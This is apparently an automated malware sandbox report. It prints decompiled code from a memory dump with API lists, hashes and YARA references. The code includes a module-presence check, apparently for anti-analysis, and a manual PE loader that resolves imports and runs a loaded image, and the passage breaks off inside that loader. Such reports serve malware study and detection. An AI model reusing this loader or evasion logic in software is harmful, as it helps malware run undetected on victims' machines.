Instruction Fuzzy Hash: A331C0B2A04244BBFB10FBA8EC49EAA73ECFB58754F444126F544D7292EB789D408725

Uniqueness

Uniqueness Score: -1.00%

Function 00092DB0, Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00092DB0(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0xec8b55c3
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0xa1ec8b55
					_t12 = _t272 + 0x5c; // 0x23e85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E00095DD0(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E00094B30(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0x23e85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E00094C70( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0xa1ec8b55
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0xa1ec8b55
						_t260 =  *_t66;
						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x7e89ffff
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0xa1ec8b55
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0xa1ec8b55
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0x3c468b3c
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0x23e85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x7e89ffff
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0xa1ec8b55
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t255 = _a4;
						_t220 =  *((intOrPtr*)(_a4 + 4));
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E00094C70(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0xa1ec8b55
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0xec8b55c3
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0x23e85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0x23e85000
							E00095DD0(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E00094B30( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0x23e85000
								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

APIs

memcpy.MSVCRT ref: 00092EBD
memcpy.MSVCRT ref: 00092F34
memcpy.MSVCRT ref: 00092F63
memcpy.MSVCRT ref: 00092F8F
memcpy.MSVCRT ref: 00093044

Part of subcall function 00095DD0: memcpy.MSVCRT ref: 00095EAE

Part of subcall function 00094B30: memcpy.MSVCRT ref: 00094B5A

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction ID: 1d6b34e382e40ef923690c284d6b27d1efaca96ebac1f7cec2adddd4b25623cc
Opcode Fuzzy Hash: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction Fuzzy Hash: 47D10471A00A049FCB64CF6DC8D4AAAB7F1FF88304B24892DE88AC7751D771E945DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00084D60, Relevance: 6.4, APIs: 4, Instructions: 432
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00084D60(intOrPtr* __ecx, void* __edx, void* __fp0) {
				char _v516;
				char _v556;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				intOrPtr _v580;
				char _v588;
				signed int _v596;
				intOrPtr _v602;
				intOrPtr _v604;
				char _v608;
				CHAR* _v612;
				CHAR* _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				char _v636;
				intOrPtr _t119;
				signed int _t122;
				CHAR* _t124;
				intOrPtr _t125;
				CHAR* _t127;
				WCHAR* _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				WCHAR* _t138;
				intOrPtr _t142;
				WCHAR* _t143;
				CHAR* _t144;
				intOrPtr _t145;
				intOrPtr _t150;
				intOrPtr _t153;
				WCHAR* _t154;
				signed int _t159;
				WCHAR* _t160;
				intOrPtr _t163;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t170;
				signed int _t173;
				signed int _t178;
				intOrPtr _t182;
				WCHAR* _t184;
				char _t186;
				WCHAR* _t188;
				intOrPtr _t200;
				intOrPtr _t211;
				signed int _t215;
				char _t220;
				WCHAR* _t231;
				intOrPtr _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t246;
				signed int _t248;
				WCHAR* _t249;
				CHAR* _t250;
				intOrPtr _t262;
				void* _t271;
				intOrPtr _t272;
				signed int _t277;
				void* _t278;
				intOrPtr _t280;
				signed int _t282;
				void* _t298;
				void* _t299;
				intOrPtr _t305;
				CHAR* _t326;
				void* _t328;
				WCHAR* _t329;
				intOrPtr _t331;
				WCHAR* _t333;
				signed int _t335;
				intOrPtr* _t337;
				void* _t338;
				void* _t339;
				void* _t353;

				_t353 = __fp0;
				_t337 = (_t335 & 0xfffffff8) - 0x26c;
				_t119 =  *0x9e688; // 0xf0000
				_v620 = _v620 & 0x00000000;
				_t328 = __ecx;
				if(( *(_t119 + 0x1898) & 0x00000082) == 0) {
					L7:
					_t14 = E0008B7EA(0x9b9c4,  &_v516) + 1; // 0x1
					E0008A8AF( &_v556, _t14, _t351);
					_t298 = 0x64;
					_t122 = E0008A4B3( &_v556, _t298);
					 *0x9e748 = _t122;
					if(_t122 != 0) {
						_push(0x4e5);
						_t299 = 0x10;
						 *0x9e680 = E0008E1FE(0x9b9c8, _t299);
						 *_t337 = 0x610;
						_t124 = E000895C2(0x9b9c8);
						_push(0);
						_push(_t124);
						_v612 = _t124;
						_t125 =  *0x9e688; // 0xf0000
						_t127 = E000892C6(_t125 + 0x228);
						_t338 = _t337 + 0xc;
						_v616 = _t127;
						E000885B6( &_v612);
						_t130 = E0008B2AB(_t127);
						_t246 = 3;
						__eflags = _t130;
						if(_t130 != 0) {
							 *((intOrPtr*)(_t328 + 0x10)) = _t239;
							 *_t328 = _t246;
						}
						E000885FB( &_v616, 0xfffffffe);
						_t133 =  *0x9e688; // 0xf0000
						_t22 = _t133 + 0x114; // 0xf0114
						E000849FE( *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x110)))), _t22, _t353, _t328, 0, 0);
						_t262 =  *0x9e688; // 0xf0000
						_t339 = _t338 + 0x14;
						__eflags =  *((intOrPtr*)(_t262 + 0x101c)) - _t246;
						if( *((intOrPtr*)(_t262 + 0x101c)) == _t246) {
							L17:
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							_v572 = _t328;
							_v576 =  *((intOrPtr*)(_t262 + 0x214));
							_t137 =  *0x9e680; // 0x0
							_t138 =  *(_t137 + 8);
							__eflags = _t138;
							if(_t138 != 0) {
								 *_t138(0, 0, 1,  &_v568,  &_v564);
							}
							_v620 = _v620 & 0x00000000;
							E0008E308(_t353,  &_v576);
							_pop(_t262);
							_t142 =  *0x9e6b4; // 0xa7fa98
							_t143 =  *((intOrPtr*)(_t142 + 0x10))(0, 0,  &_v620);
							__eflags = _t143;
							if(_t143 == 0) {
								E0008E308(_t353,  &_v588);
								_t235 =  *0x9e6b4; // 0xa7fa98
								_pop(_t262);
								 *((intOrPtr*)(_t235 + 0xc))(_v632);
							}
							__eflags =  *0x9e73c;
							if( *0x9e73c <= 0) {
								goto L36;
							} else {
								_t165 =  *0x9e680; // 0x0
								__eflags =  *(_t165 + 8);
								if( *(_t165 + 8) != 0) {
									_t231 =  *(_t165 + 0xc);
									__eflags = _t231;
									if(_t231 != 0) {
										 *_t231(_v580);
									}
								}
								_t166 =  *0x9e688; // 0xf0000
								_t262 =  *((intOrPtr*)(_t166 + 0x214));
								__eflags = _t262 - _t246;
								if(_t262 == _t246) {
									goto L36;
								} else {
									__eflags =  *((intOrPtr*)(_t166 + 4)) - 6;
									if( *((intOrPtr*)(_t166 + 4)) >= 6) {
										__eflags =  *((intOrPtr*)(_t166 + 0x101c)) - _t246;
										if( *((intOrPtr*)(_t166 + 0x101c)) == _t246) {
											E00084998();
											asm("stosd");
											asm("stosd");
											asm("stosd");
											asm("stosd");
											_t170 =  *0x9e684; // 0xa7f8f0
											 *((intOrPtr*)(_t170 + 0xd8))( &_v608);
											_t262 = _v602;
											_t248 = 0x3c;
											_t173 = _t262 + 0x00000002 & 0x0000ffff;
											_v596 = _t173;
											_v620 = _t173 / _t248 + _v604 & 0x0000ffff;
											_t178 = _t262 + 0x0000000e & 0x0000ffff;
											_v624 = _t178;
											_v628 = _t178 / _t248 + _v604 & 0x0000ffff;
											_t182 =  *0x9e688; // 0xf0000
											_t184 = E0008FC57(_t182 + 0x228, _t178 % _t248, _t353, 0, _t182 + 0x228, 0);
											_t339 = _t339 + 0xc;
											__eflags = _t184;
											if(_t184 >= 0) {
												_t333 = E000885E5(0x1000);
												_v616 = _t333;
												_pop(_t262);
												__eflags = _t333;
												if(_t333 != 0) {
													_t186 = E0008109A(_t262, 0x148);
													_t305 =  *0x9e688; // 0xf0000
													_v636 = _t186;
													_push(_t305 + 0x648);
													_push(0xa);
													_push(7);
													_t271 = 2;
													E0008900E(_t271,  &_v572);
													_t272 =  *0x9e688; // 0xf0000
													_t188 = E000860C0( &_v572, _t272 + 0x228, 1,  *((intOrPtr*)(_t272 + 0xa0)));
													_t339 = _t339 + 0x18;
													_v632 = _t188;
													__eflags = _t188;
													if(_t188 != 0) {
														_push(_v624 % _t248 & 0x0000ffff);
														_push(_v628 & 0x0000ffff);
														_push(_v596 % _t248 & 0x0000ffff);
														_push(_v620 & 0x0000ffff);
														_push(_v632);
														_push( &_v572);
														_t200 =  *0x9e688; // 0xf0000
														__eflags = _t200 + 0x1020;
														E00089621(_t333, 0x1000, _v636, _t200 + 0x1020);
														E000885B6( &_v636);
														E0008A953(_t333, 0, 0xbb8, 1);
														E000885FB( &_v632, 0xfffffffe);
														_t339 = _t339 + 0x44;
													}
													E000885FB( &_v616, 0xfffffffe);
													_pop(_t262);
												}
											}
										}
										goto L36;
									}
									__eflags = _t262 - 2;
									if(_t262 != 2) {
										goto L36;
									}
									E00084998();
									asm("stosd");
									asm("stosd");
									asm("stosd");
									asm("stosd");
									_t211 =  *0x9e684; // 0xa7f8f0
									 *((intOrPtr*)(_t211 + 0xd8))( &_v608);
									_t215 = _v602 + 0x00000002 & 0x0000ffff;
									_v628 = _t215;
									_t277 = 0x3c;
									_v632 = _t215 / _t277 + _v604 & 0x0000ffff;
									_t249 = E000885E5(0x1000);
									_v624 = _t249;
									_pop(_t278);
									__eflags = _t249;
									if(_t249 != 0) {
										_t220 = E000895C2(_t278, 0x32d);
										_t280 =  *0x9e688; // 0xf0000
										_push(_t280 + 0x228);
										_t282 = 0x3c;
										_v636 = _t220;
										_push(_v628 % _t282 & 0x0000ffff);
										E00089621(_t249, 0x1000, _t220, _v632 & 0x0000ffff);
										E000885B6( &_v636);
										E0008A953(_t249, 0, 0xbb8, 1);
										E000885FB( &_v624, 0xfffffffe);
									}
									goto L41;
								}
							}
						} else {
							_t238 =  *((intOrPtr*)(_t262 + 0x214));
							__eflags = _t238 - _t246;
							if(_t238 == _t246) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t262 + 4)) - 6;
							if( *((intOrPtr*)(_t262 + 4)) >= 6) {
								L36:
								_t144 = E000895C2(_t262, 0x610);
								_push(0);
								_push(_t144);
								_v616 = _t144;
								_t145 =  *0x9e688; // 0xf0000
								_t329 = E000892C6(_t145 + 0x228);
								_v612 = _t329;
								__eflags = _t329;
								if(_t329 != 0) {
									_t160 = E0008B2AB(_t329);
									__eflags = _t160;
									if(_t160 != 0) {
										_t163 =  *0x9e684; // 0xa7f8f0
										 *((intOrPtr*)(_t163 + 0x10c))(_t329);
									}
									E000885FB( &_v612, 0xfffffffe);
								}
								E000885B6( &_v616);
								_t150 =  *0x9e688; // 0xf0000
								lstrcpynW(_t150 + 0x438,  *0x9e740, 0x105);
								_t153 =  *0x9e688; // 0xf0000
								_t154 = _t153 + 0x228;
								__eflags = _t154;
								lstrcpynW(_t154,  *0x9e738, 0x105);
								_t331 =  *0x9e688; // 0xf0000
								_t117 = _t331 + 0x228; // 0xf0228
								 *((intOrPtr*)(_t331 + 0x434)) = E00088F9F(_t117, __eflags);
								E000885FB(0x9e740, 0xfffffffe);
								E000885FB(0x9e738, 0xfffffffe);
								L41:
								_t159 = 0;
								__eflags = 0;
								L42:
								return _t159;
							}
							__eflags = _t238 - 2;
							if(_t238 != 2) {
								goto L36;
							}
							goto L17;
						}
					}
					L8:
					_t159 = _t122 | 0xffffffff;
					goto L42;
				}
				_t250 = E000895A8(0x6e2);
				_v616 = _t250;
				_t326 = E000895A8(0x9f5);
				_v612 = _t326;
				if(_t250 != 0 && _t326 != 0) {
					if(GetModuleHandleA(_t250) != 0 || GetModuleHandleA(_t326) != 0) {
						_v620 = 1;
					}
					E000885A3( &_v616);
					_t122 = E000885A3( &_v612);
					_t351 = _v620;
					if(_v620 != 0) {
						goto L8;
					}
				}
			}

0x00084d60
0x00084d66
0x00084d6c
0x00084d71
0x00084d7f
0x00084d82
0x00084de1
0x00084df3
0x00084df6
0x00084dfd
0x00084e02
0x00084e07
0x00084e0e
0x00084e18
0x00084e1f
0x00084e2a
0x00084e2f
0x00084e36
0x00084e3c
0x00084e3e
0x00084e3f
0x00084e43
0x00084e4e
0x00084e53
0x00084e5c
0x00084e61
0x00084e69
0x00084e70
0x00084e71
0x00084e73
0x00084e8f
0x00084e92
0x00084e92
0x00084e9b
0x00084ea0
0x00084eb0
0x00084eb8
0x00084ebd
0x00084ec3
0x00084ec6
0x00084ecc
0x00084eeb
0x00084ef1
0x00084ef2
0x00084ef3
0x00084ef4
0x00084ef5
0x00084ef6
0x00084f00
0x00084f04
0x00084f09
0x00084f0c
0x00084f0e
0x00084f20
0x00084f20
0x00084f22
0x00084f2e
0x00084f33
0x00084f39
0x00084f42
0x00084f45
0x00084f47
0x00084f52
0x00084f57
0x00084f5c
0x00084f61
0x00084f61
0x00084f64
0x00084f6b
0x00000000
0x00084f71
0x00084f71
0x00084f76
0x00084f7a
0x00084f7c
0x00084f7f
0x00084f81
0x00084f87
0x00084f87
0x00084f81
0x00084f89
0x00084f8e
0x00084f94
0x00084f96
0x00000000
0x00084f9c
0x00084f9c
0x00084fa0
0x00085075
0x0008507b
0x00085081
0x0008508c
0x0008508d
0x0008508e
0x0008508f
0x00085095
0x0008509a
0x000850a0
0x000850a8
0x000850ae
0x000850b1
0x000850c0
0x000850c7
0x000850ca
0x000850d7
0x000850db
0x000850e8
0x000850ed
0x000850f0
0x000850f2
0x00085103
0x00085105
0x00085109
0x0008510a
0x0008510c
0x00085117
0x0008511c
0x00085129
0x0008512d
0x0008512e
0x00085130
0x00085138
0x00085139
0x0008513e
0x00085156
0x0008515b
0x0008515e
0x00085162
0x00085164
0x00085177
0x00085181
0x00085185
0x0008518d
0x0008518e
0x00085196
0x00085197
0x0008519c
0x000851a8
0x000851b2
0x000851c4
0x000851d0
0x000851d5
0x000851d5
0x000851df
0x000851e5
0x000851e5
0x0008510c
0x000850f2
0x00000000
0x0008507b
0x00084fa6
0x00084fa9
0x00000000
0x00000000
0x00084faf
0x00084fba
0x00084fbb
0x00084fbc
0x00084fbd
0x00084fc3
0x00084fc8
0x00084fdc
0x00084fe1
0x00084fe5
0x00084ff0
0x00084ff9
0x00084ffb
0x00084fff
0x00085000
0x00085002
0x0008500d
0x00085013
0x00085025
0x00085028
0x0008502b
0x00085038
0x00085040
0x0008504a
0x0008505c
0x00085068
0x0008506d
0x00000000
0x00085002
0x00084f96
0x00084ece
0x00084ece
0x00084ed4
0x00084ed6
0x00000000
0x00000000
0x00084ed8
0x00084edc
0x000851e6
0x000851eb
0x000851f1
0x000851f3
0x000851f4
0x000851f8
0x00085208
0x0008520d
0x00085211
0x00085213
0x00085217
0x0008521c
0x0008521e
0x00085220
0x00085226
0x00085226
0x00085233
0x00085239
0x0008523f
0x00085244
0x00085262
0x00085264
0x00085270
0x00085270
0x00085276
0x00085278
0x0008527e
0x00085290
0x00085296
0x000852a2
0x000852aa
0x000852aa
0x000852aa
0x000852ac
0x000852b2
0x000852b2
0x00084ee2
0x00084ee5
0x00000000
0x00000000
0x00000000
0x00084ee5
0x00084ecc
0x00084e10
0x00084e10
0x00000000
0x00084e10
0x00084d8e
0x00084d95
0x00084d9e
0x00084da0
0x00084da6
0x00084db7
0x00084dc0
0x00084dc0
0x00084dcc
0x00084dd5
0x00084dda
0x00084ddf
0x00000000
0x00000000
0x00084ddf

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00084DB3
GetModuleHandleA.KERNEL32(00000000), ref: 00084DBA
lstrcpynW.KERNEL32(000EFBC8,00000105), ref: 00085262
lstrcpynW.KERNEL32(000EFDD8,00000105), ref: 00085276

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: HandleModulelstrcpyn
String ID:
API String ID: 3430401031-0
Opcode ID: 8c42ecb4bf1deff09719d805117b535156ee6790541d50877f9cca80741779b1
Instruction ID: 53f25a6344485329816dbddeea69770a7089f386737f55672c44d5423dc0334b
Opcode Fuzzy Hash: 8c42ecb4bf1deff09719d805117b535156ee6790541d50877f9cca80741779b1
Instruction Fuzzy Hash: B4E1CF31608301AFE750FF64DC46BAA77E9BB98314F44092EF584DB2D2DB74E9448B52

Uniqueness

Uniqueness Score: -1.00%

Function 00092B24, Relevance: 6.2, APIs: 4, Instructions: 219
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00092B24(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				signed int* _v20;
				intOrPtr _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				intOrPtr* _v40;
				signed short* _v44;
				intOrPtr _v48;
				unsigned int _v52;
				intOrPtr _v56;
				_Unknown_base(*)()* _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				unsigned int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _t149;
				void* _t189;
				signed int _t194;
				signed int _t196;
				intOrPtr _t236;

				_v72 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v24 = _v72;
				_t236 = _a4 -  *((intOrPtr*)(_v24 + 0x34));
				_v56 = _t236;
				if(_t236 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v24 + 0xbadc25)) == 0) {
						L35:
						_v68 =  *((intOrPtr*)(_v24 + 0x28)) + _a4;
						while(0 != 0) {
						}
						if(_a12 != 0) {
							 *_a12 = _v68;
						}
						 *((intOrPtr*)(_v24 + 0x34)) = _a4;
						return _v68(_a4, 1, _a8);
					}
					_v84 = 0x80000000;
					_t149 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v24 + (_t149 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v20 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v20 =  *_v16 + _a4;
							}
							_v64 = _v64 & 0x00000000;
							while( *_v20 != 0) {
								if(( *_v20 & _v84) == 0) {
									_v88 =  *_v20 + _a4;
									_v60 = GetProcAddress(_v36, _v88 + 2);
								} else {
									_v60 = GetProcAddress(_v36,  *_v20 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v20 = _v60;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v64) = _v60;
								}
								_v20 =  &(_v20[1]);
								_v64 = _v64 + 4;
							}
							_v16 = _v16 + 0x14;
